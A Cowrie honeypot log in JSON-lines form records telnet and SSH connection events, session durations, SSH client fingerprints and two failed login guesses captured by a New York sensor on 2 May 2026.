{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":39058,"dst_ip":"159.203.135.109","dst_port":23,"session":"8fb4ecbe71ed","protocol":"telnet","message":"New connection: 162.55.233.176:39058 (159.203.135.109:23) [session: 8fb4ecbe71ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:10.592111Z"}
{"eventid":"cowrie.session.closed","duration":41.40283560752869,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:10.833296Z","src_ip":"162.55.233.176","session":"6c0782b75994","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.208831548690796,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:10.844050Z","src_ip":"162.55.233.176","session":"a6a1734a2f57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":39064,"dst_ip":"159.203.135.109","dst_port":23,"session":"939b98346bd2","protocol":"telnet","message":"New connection: 162.55.233.176:39064 (159.203.135.109:23) [session: 939b98346bd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:11.127764Z"}
{"eventid":"cowrie.session.closed","duration":31.301503896713257,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:11.525780Z","src_ip":"162.55.233.176","session":"2a6c34ad6bc3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.26245403289795,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:11.541340Z","src_ip":"162.55.233.176","session":"67a0dd412e7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.71394181251526,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:11.582870Z","src_ip":"162.55.233.176","session":"44d4be983edf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.19516706466675,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:11.684779Z","src_ip":"162.55.233.176","session":"45acc86d1566","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.11634182929993,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:11.902102Z","src_ip":"162.55.233.176","session":"28963cf0cc1f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":39074,"dst_ip":"159.203.135.109","dst_port":23,"session":"96c566503a1f","protocol":"telnet","message":"New connection: 162.55.233.176:39074 (159.203.135.109:23) [session: 96c566503a1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:12.010359Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":39088,"dst_ip":"159.203.135.109","dst_port":23,"session":"00c7583790c3","protocol":"telnet","message":"New connection: 162.55.233.176:39088 (159.203.135.109:23) [session: 00c7583790c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:12.552736Z"}
{"eventid":"cowrie.session.closed","duration":33.456881046295166,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:12.739758Z","src_ip":"162.55.233.176","session":"0b8a0f01f327","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":39094,"dst_ip":"159.203.135.109","dst_port":23,"session":"945515898180","protocol":"telnet","message":"New connection: 162.55.233.176:39094 (159.203.135.109:23) [session: 945515898180]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:12.900761Z"}
{"eventid":"cowrie.session.closed","duration":33.00060701370239,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:13.015894Z","src_ip":"162.55.233.176","session":"4951b4c8eaa3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41260,"dst_ip":"159.203.135.109","dst_port":23,"session":"4442ca5cd453","protocol":"telnet","message":"New connection: 162.55.233.176:41260 (159.203.135.109:23) [session: 4442ca5cd453]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:13.075214Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41274,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d0b14394b97","protocol":"telnet","message":"New connection: 162.55.233.176:41274 (159.203.135.109:23) [session: 2d0b14394b97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:13.313951Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41280,"dst_ip":"159.203.135.109","dst_port":23,"session":"05ad47f19755","protocol":"telnet","message":"New connection: 162.55.233.176:41280 (159.203.135.109:23) [session: 05ad47f19755]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:13.404740Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41286,"dst_ip":"159.203.135.109","dst_port":23,"session":"53e8ca2436a4","protocol":"telnet","message":"New connection: 162.55.233.176:41286 (159.203.135.109:23) [session: 53e8ca2436a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:13.445285Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41302,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c6214be575b","protocol":"telnet","message":"New connection: 162.55.233.176:41302 (159.203.135.109:23) [session: 5c6214be575b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:14.344338Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41306,"dst_ip":"159.203.135.109","dst_port":23,"session":"f581fc636067","protocol":"telnet","message":"New connection: 162.55.233.176:41306 (159.203.135.109:23) [session: f581fc636067]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:14.367927Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41320,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d3fdf050ffb","protocol":"telnet","message":"New connection: 162.55.233.176:41320 (159.203.135.109:23) [session: 6d3fdf050ffb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:14.719355Z"}
{"eventid":"cowrie.session.closed","duration":31.227079153060913,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:14.890466Z","src_ip":"162.55.233.176","session":"484441621f44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.15291404724121,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:15.128484Z","src_ip":"162.55.233.176","session":"2ec6af453bd9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"vpe.cripac","message":"login attempt [root/vpe.cripac] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:15.192962Z","src_ip":"213.209.159.158","session":"a370b81cc668","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.207390785217285,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:15.558029Z","src_ip":"162.55.233.176","session":"f914b4b1c354","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.44203853607178,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:15.842268Z","src_ip":"188.208.141.113","session":"6fb47b40efd0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.96626687049866,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:15.895708Z","src_ip":"162.55.233.176","session":"c9f2577d4dc7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41324,"dst_ip":"159.203.135.109","dst_port":23,"session":"63408aa51b84","protocol":"telnet","message":"New connection: 162.55.233.176:41324 (159.203.135.109:23) [session: 63408aa51b84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:15.910790Z"}
{"eventid":"cowrie.session.closed","duration":1.9349720478057861,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:16.279223Z","src_ip":"162.55.233.176","session":"5c6214be575b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41332,"dst_ip":"159.203.135.109","dst_port":23,"session":"0df9455e755f","protocol":"telnet","message":"New connection: 162.55.233.176:41332 (159.203.135.109:23) [session: 0df9455e755f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:16.624851Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41336,"dst_ip":"159.203.135.109","dst_port":23,"session":"c66bbe813f36","protocol":"telnet","message":"New connection: 162.55.233.176:41336 (159.203.135.109:23) [session: c66bbe813f36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:16.930338Z"}
{"eventid":"cowrie.session.closed","duration":120.00100755691528,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:17.160793Z","src_ip":"138.255.230.135","session":"7eccc54c6d8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.77914333343506,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:17.324935Z","src_ip":"162.55.233.176","session":"52a13fd2ebf3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41342,"dst_ip":"159.203.135.109","dst_port":23,"session":"07a5f8b37219","protocol":"telnet","message":"New connection: 162.55.233.176:41342 (159.203.135.109:23) [session: 07a5f8b37219]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:17.681588Z"}
{"eventid":"cowrie.session.closed","duration":"12.7","message":"Connection lost after 12.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:17.962844Z","src_ip":"213.209.159.158","session":"a370b81cc668","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":10424,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7d73865d012","protocol":"ssh","message":"New connection: 213.209.159.158:10424 (10.17.0.5:22) [session: d7d73865d012]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:18.045933Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41344,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e2ff0fbc457","protocol":"telnet","message":"New connection: 162.55.233.176:41344 (159.203.135.109:23) [session: 8e2ff0fbc457]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:18.127307Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41352,"dst_ip":"159.203.135.109","dst_port":23,"session":"48d4582a0b93","protocol":"telnet","message":"New connection: 162.55.233.176:41352 (159.203.135.109:23) [session: 48d4582a0b93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:18.337074Z"}
{"eventid":"cowrie.session.closed","duration":42.21621298789978,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:18.482895Z","src_ip":"162.55.233.176","session":"bc49b8c402fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41366,"dst_ip":"159.203.135.109","dst_port":23,"session":"62c74f495544","protocol":"telnet","message":"New connection: 162.55.233.176:41366 (159.203.135.109:23) [session: 62c74f495544]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:18.566578Z"}
{"eventid":"cowrie.session.closed","duration":38.529624223709106,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:18.736232Z","src_ip":"162.55.233.176","session":"814914aad75a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.55083346366882,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:18.946337Z","src_ip":"162.55.233.176","session":"01297d57d770","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.26258826255798,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:19.248811Z","src_ip":"162.55.233.176","session":"fc785e2cd698","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41372,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae894d54db01","protocol":"telnet","message":"New connection: 162.55.233.176:41372 (159.203.135.109:23) [session: ae894d54db01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:19.622529Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.255.230.135","src_port":42259,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf7d8a0c44ec","protocol":"telnet","message":"New connection: 138.255.230.135:42259 (159.203.135.109:23) [session: cf7d8a0c44ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:19.637020Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:20.256968Z","src_ip":"213.209.159.158","session":"d7d73865d012","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:20.261076Z","src_ip":"213.209.159.158","session":"d7d73865d012","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.9853515625,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:20.322088Z","src_ip":"162.55.233.176","session":"489ad6c01797","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.887617349624634,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:20.732131Z","src_ip":"162.55.233.176","session":"953f8a4ef475","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41378,"dst_ip":"159.203.135.109","dst_port":23,"session":"15a351812554","protocol":"telnet","message":"New connection: 162.55.233.176:41378 (159.203.135.109:23) [session: 15a351812554]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:20.928079Z"}
{"eventid":"cowrie.session.closed","duration":36.05896592140198,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:21.002798Z","src_ip":"162.55.233.176","session":"9a477ad53c9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.612154483795166,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:21.986861Z","src_ip":"162.55.233.176","session":"88b4bcd5185e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.069355487823486,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:22.391975Z","src_ip":"162.55.233.176","session":"5279e96af3ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":41380,"dst_ip":"159.203.135.109","dst_port":23,"session":"00cf69e6d147","protocol":"telnet","message":"New connection: 162.55.233.176:41380 (159.203.135.109:23) [session: 00cf69e6d147]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:22.684795Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36986,"dst_ip":"159.203.135.109","dst_port":23,"session":"27e0bc75e450","protocol":"telnet","message":"New connection: 162.55.233.176:36986 (159.203.135.109:23) [session: 27e0bc75e450]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:23.020295Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.137.11.14","src_port":64870,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9bfc7a9e658","protocol":"ssh","message":"New connection: 38.137.11.14:64870 (10.17.0.5:22) [session: b9bfc7a9e658]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:23.681932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:23.686734Z","src_ip":"38.137.11.14","session":"b9bfc7a9e658","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:23.911780Z","src_ip":"38.137.11.14","session":"b9bfc7a9e658","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.55138969421387,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:23.973231Z","src_ip":"162.55.233.176","session":"2c67a6e5ff52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36990,"dst_ip":"159.203.135.109","dst_port":23,"session":"46b75b6613f8","protocol":"telnet","message":"New connection: 162.55.233.176:36990 (159.203.135.109:23) [session: 46b75b6613f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:24.087536Z"}
{"eventid":"cowrie.session.closed","duration":33.42259502410889,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:24.321516Z","src_ip":"162.55.233.176","session":"cd530a153608","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.39024639129639,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:24.443020Z","src_ip":"162.55.233.176","session":"a0154a734aa8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.887555599212646,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:24.650940Z","src_ip":"162.55.233.176","session":"b084807e7234","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"csserver","password":"12345","message":"login attempt [csserver/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:24.843685Z","src_ip":"38.137.11.14","session":"b9bfc7a9e658","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.7369065284729,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:24.879349Z","src_ip":"162.55.233.176","session":"5708d3f91e7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36996,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e6ddccc42bb","protocol":"telnet","message":"New connection: 162.55.233.176:36996 (159.203.135.109:23) [session: 8e6ddccc42bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:24.907926Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":55908,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f771f0f2036","protocol":"telnet","message":"New connection: 188.208.141.113:55908 (10.17.0.5:23) [session: 1f771f0f2036]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:25.159950Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":37010,"dst_ip":"159.203.135.109","dst_port":23,"session":"94577326d5f1","protocol":"telnet","message":"New connection: 162.55.233.176:37010 (159.203.135.109:23) [session: 94577326d5f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:25.214563Z"}
{"eventid":"cowrie.session.closed","duration":35.7566876411438,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:25.219547Z","src_ip":"162.55.233.176","session":"4d07d144ed72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.66547870635986,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:25.262931Z","src_ip":"162.55.233.176","session":"9a5dc81a5cf8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":37018,"dst_ip":"159.203.135.109","dst_port":23,"session":"68d32408ee83","protocol":"telnet","message":"New connection: 162.55.233.176:37018 (159.203.135.109:23) [session: 68d32408ee83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:25.678033Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":37034,"dst_ip":"159.203.135.109","dst_port":23,"session":"082c6cc5cb4b","protocol":"telnet","message":"New connection: 162.55.233.176:37034 (159.203.135.109:23) [session: 082c6cc5cb4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:25.948625Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":37050,"dst_ip":"159.203.135.109","dst_port":23,"session":"b63012bfca98","protocol":"telnet","message":"New connection: 162.55.233.176:37050 (159.203.135.109:23) [session: b63012bfca98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:25.997577Z"}
